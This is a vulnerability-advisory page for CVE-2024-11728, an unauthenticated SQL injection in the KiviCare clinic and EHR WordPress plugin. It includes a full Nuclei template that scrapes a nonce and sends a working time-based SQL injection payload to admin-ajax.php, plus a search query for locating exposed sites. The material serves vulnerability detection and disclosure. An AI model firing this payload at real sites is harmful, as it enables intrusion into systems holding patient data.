CVE-2024-11728: KiviCare Clinic & Patient Management System (EHR) <= 3.6.4 - SQL Injection

日期: 2025-08-01 | 影响软件: KiviCare Clinic & Patient Management System (EHR) | POC: 已公开

漏洞描述

The KiviCare Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC代码[已公开]

id: CVE-2024-11728

info:
  name: KiviCare Clinic & Patient Management System (EHR) <= 3.6.4 - SQL Injection
  author: samogod,s4e-io
  severity: high
  description: |
    The KiviCare Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: |
    To remediate this vulnerability, validate and sanitize all user inputs on the server side before using them in SQL queries. Use prepared statements or stored procedures, and ensure that data is properly escaped.
  reference:
    - https://github.com/samogod/CVE-2024-11728
    - https://samogod.com/2024/12/11/cve-2024-11728-kivicare-wordpress-unauthenticated-sql-injection/
    - https://plugins.trac.wordpress.org/changeset/3201428/kivicare-clinic-management-system/trunk/app/controllers/KCTaxController.php
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/53c18834-3026-4d4d-888b-add314a0e56e?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-11728
    cwe-id: CWE-89
    epss-score: 0.53157
    epss-percentile: 0.97893
  metadata:
    verified: true
    max-request: 2
    vendor: iqonic
    product: kivicare
    framework: wordpress
    fofa-query: body="/wp-content/plugins/kivicare-clinic-management-system"
  tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,kivicare-clinic-management-system

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/kivicare-clinic-management-system"
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - "ajax_post_nonce:\\s*'([^']+)'"
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ajax_post&route_name=tax_calculated_data&clinic_id[id]=1&doctor_id[id]=1&visit_type[0][service_id]=123) AND (SELECT * FROM (SELECT(SLEEP(6)))alias) AND (1=1&_ajax_nonce={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>6'
          - 'contains_all(body, "status", "message", "total_tax")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a004830460221008377f5d13e2347e21b681814e12326dbff71586b673cd396b8795b87730f80eb022100f6457e340d8915770021c62d34295bcb944d3baab6ef7321965d627de63ce04c:922c64590222798bb761d5b6d8e72950